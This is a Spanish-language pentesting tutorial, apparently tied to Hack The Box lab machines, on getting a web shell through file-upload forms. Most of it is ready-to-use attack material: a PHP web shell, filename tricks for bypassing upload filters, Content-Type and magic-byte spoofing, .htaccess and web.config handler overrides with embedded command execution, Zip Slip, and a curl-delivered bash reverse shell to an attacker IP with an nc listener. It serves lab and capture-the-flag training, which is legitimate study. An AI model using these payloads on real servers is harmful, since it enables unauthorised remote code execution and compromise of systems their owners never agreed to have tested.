Subida de ficheros maliciosos: cómo saltarse los filtros y conseguir una web shell

Bypass de filtros de subida: extensiones alternativas, Content-Type, magic bytes, .htaccess y web.config, y cómo encontrar el fichero para ejecutarlo.

· 4 min de lectura

Un formulario para subir una foto de perfil, un CV o un fichero adjunto es una de las entradas más frecuentes del catálogo: hay más de 40 máquinas con subida de ficheros maliciosos. El objetivo siempre es el mismo: que el servidor guarde un fichero tuyo en una carpeta servida por la web y que luego lo ejecute como código.

Antes de nada: tres preguntas

  1. ¿Qué lenguaje ejecuta el servidor? Mira las cabeceras (X-Powered-By, Server), las extensiones de las páginas y los errores. PHP, ASP.NET (.aspx) y Java (.jsp) son los habituales.
  2. ¿Dónde acaba el fichero? Sube una imagen normal y busca su ruta: en la respuesta, en el HTML de tu perfil o probando carpetas típicas (/uploads/, /images/, /files/). Si no aparece, haz fuerza bruta de directorios.
  3. ¿Qué comprueba el filtro? La extensión, el Content-Type, el contenido o todo a la vez. Lo averiguas cambiando una sola cosa cada vez en Burp Repeater.

Una web shell mínima para probar:

<?php system($_GET['cmd']); ?>
curl 'http://objetivo.htb/uploads/shell.php?cmd=id'

Saltarse los filtros

Por extensión

Si el filtro es una lista negra (.php prohibido), prueba las extensiones que el servidor también ejecuta:

Lenguaje Extensiones alternativas
PHP .phtml, .php3, .php4, .php5, .php7, .pht, .phar, .phps, .pgif, .inc
ASP.NET .aspx, .ashx, .asmx, .asp, .cer, .config
Java .jsp, .jspx, .jsw, .jsv, .war (si puedes desplegarlo)

Y las variantes que confunden al filtro pero no al servidor:

shell.pHp            # mayúsculas, si la comparación distingue
shell.php.jpg        # doble extensión: Apache mal configurado ejecuta la primera
shell.jpg.php        # el filtro mira si contiene ".jpg"
shell.php%00.jpg     # byte nulo (PHP antiguo, < 5.3.4)
shell.php.           # punto final (Windows lo quita al guardar)
shell.php::$DATA     # flujo alternativo de NTFS (IIS)

Puedes probarlas todas a la vez con Intruder o con ffuf sobre la petición guardada de Burp.

Por Content-Type

Si el servidor solo mira la cabecera que manda el navegador, cámbiala:

Content-Disposition: form-data; name="foto"; filename="shell.php"
Content-Type: image/png

Por contenido (magic bytes)

Si comprueba que el fichero parece una imagen (con getimagesize(), finfo o similar), pon la cabecera de una imagen delante de tu código:

printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.gif.php
# o mete el código en los metadatos de una imagen real
exiftool -Comment='<?php system($_GET["cmd"]); ?>' foto.jpg -o shell.php.jpg

Truco

Si la web reprocesa la imagen (la redimensiona o la recomprime), el comentario EXIF desaparece. Hay herramientas que esconden el código en partes que sobreviven a la compresión (por ejemplo, en la paleta de un PNG o en ciertos bloques IDAT), pero antes busca otra vía: suele ser más fácil.

Cambiar las reglas del servidor

Si puedes subir ficheros de configuración a la carpeta de subidas:

# .htaccess (Apache): trata .xyz como PHP
AddType application/x-httpd-php .xyz
<!-- web.config (IIS): el propio fichero ejecuta ASP clásico -->
<configuration><system.webServer><handlers accessPolicy="Read, Script, Write">
  <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
       scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" />
</handlers><security><requestFiltering><fileExtensions>
  <remove fileExtension=".config" /></fileExtensions><hiddenSegments>
  <remove segment="web.config" /></hiddenSegments></requestFiltering></security>
</system.webServer></configuration>
<%@ Language=VBScript %><% Response.Write(CreateObject("WScript.Shell").Exec("cmd /c whoami").StdOut.ReadAll()) %>

El truco del web.config es la vía de entrada de Bounty.

Cuando la subida no ejecuta código

No siempre podrás subir código ejecutable, pero una subida casi siempre da algo:

  • Combinarla con una LFI: sube una "imagen" con PHP dentro e inclúyela desde la LFI (?page=../uploads/foto.jpg).
  • SVG con XXE o XSS: un .svg es XML; si el servidor lo procesa, prueba una XXE; si lo sirve a otros usuarios, un XSS.
  • Zip Slip: si sube un .zip y lo descomprime, un nombre como ../../var/www/html/shell.php dentro del zip puede escribir fuera de la carpeta.
  • Ficheros que se procesan: ImageMagick, ExifTool, LibreOffice o un conversor a PDF que se ejecutan sobre lo que subes tienen sus propios CVE. Mira la versión y busca un CVE público.
  • Sobrescribir algo: si controlas el nombre y no se sanea, ../ en el filename puede pisar un fichero de la aplicación o un authorized_keys.

De la web shell a una shell

# escucha en tu equipo
nc -lvnp 4444
# lanza la reverse shell a través de la web shell (URL-encoded)
curl 'http://objetivo.htb/uploads/shell.phtml' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" -G

Tienes más payloads en reverse shells y cómo dejar la terminal cómoda en TTY. En Windows/IIS sube un .aspx (Kali trae uno en /usr/share/webshells/aspx/cmdasp.aspx) y lanza desde ahí nc.exe o PowerShell.

Errores típicos

  • El fichero se sube pero da 404: la web le cambia el nombre (un hash o la fecha). Mira la respuesta completa y el HTML; si es un hash del contenido o del nombre, calcúlalo tú.
  • Se descarga en vez de ejecutarse: esa carpeta no ejecuta PHP (un .htaccess con php_flag engine off o un servidor de estáticos delante). Busca otra ruta de escritura o usa la LFI.
  • system() no devuelve nada: la función está desactivada (disable_functions). Prueba passthru, shell_exec, proc_open o lee phpinfo() para ver cuáles quedan.

Y después

Ya dentro como www-data o iis apppool, sigue con la checklist de post-explotación: en Linux, la guía de sudo, SUID y capabilities; en Windows, SeImpersonate y Potatoes.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Subida de ficheros maliciosos 46 máquinas

Ver las 46 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo